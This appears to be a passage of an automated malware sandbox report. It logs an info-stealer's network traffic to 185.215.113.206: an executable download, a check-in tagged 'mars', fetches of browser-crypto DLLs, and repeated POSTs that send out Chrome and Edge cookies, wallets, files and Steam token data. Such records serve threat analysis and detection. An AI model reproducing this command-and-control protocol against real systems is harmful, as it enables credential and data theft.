00 00 00 00 40 00 00 e0 62 77 69 6e 62 77 63 68 00 f0 19 00 00 80 31 00 00 e8 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 70 6c 67 79 6e 68 6d 00 10 00 00 00 70 4b 00 00 04 00 00 00 e0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4b 00 00 22 00 00 00 e4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 17:59:10 GMTContent-Type: application/octet-streamContent-Length: 4388352Last-Modified: Wed, 20 Nov 2024 15:55:28 GMTConnection: keep-aliveETag: "673e0670-42f600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 90 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 c4 00 00 04 00 00 4a 7d 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 70 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 70 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 74 75 71 66 75 62 77 00 50 1b 00 00 30 a9 00 00 42 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 77 6e 65 74 6d 6a 74 00 10 00 00 00 80 c4 00 00 06 00 00 00 ce 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 c4 00 00 22 00 00 00 d4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 42 31 34 31 39 35 33 42 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"C5B141953B162235734526------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"mars------ECGDHIDAAFHIIDGDBFIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 2d 2d 0d 0a Data Ascii: ------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="message"browsers------BGDHDAFIDGDBGCAAFIDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="message"plugins------BGDAKEHIIDGDAAKECBFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHIIJDGHCBFIECBKEGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="message"fplugins------FBGHIIJDGHCBFIECBKEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBGHost: 185.215.113.206Content-Length: 7835Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BKKJDBFBKKJEBFHJEHJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="file"------HDHJEBFBFHJECAKFCAAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGHHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 2d 2d 0d 0a Data Ascii: ------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIIDAKJDHJKFHIEBFCGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 2d 2d 0d 0a Data Ascii: ------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; name="file"------HDGCGHIJKEGIECBFCBAE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="message"wallets------GIIIIJDHJEGIECBGHIJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJECGDGCBKECAKFBGCAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 2d 2d 0d 0a Data Ascii: ------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="message"files------GIJECGDGCBKECAKFBGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJJDGHCBGDHIECBGIDAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 63 30 34 62 39 36 66 37 36 61 38 32 34 31 36 61 35 34 38 62 31 66 66 65 63 62 32 30 36 30 39 63 35 39 36 33 34 34 61 63 66 39 32 64 36 65 63 37 61 33 32 37 31 61 38 36 38 34 39 39 35 61 64 64 38 39 63 36 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="token"acc04b96f76a82416a548b1ffecb20609c596344acf92d6ec7a3271a8684995add89c69d------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="file"------GHJJDGHCBGDHIECBGIDA--
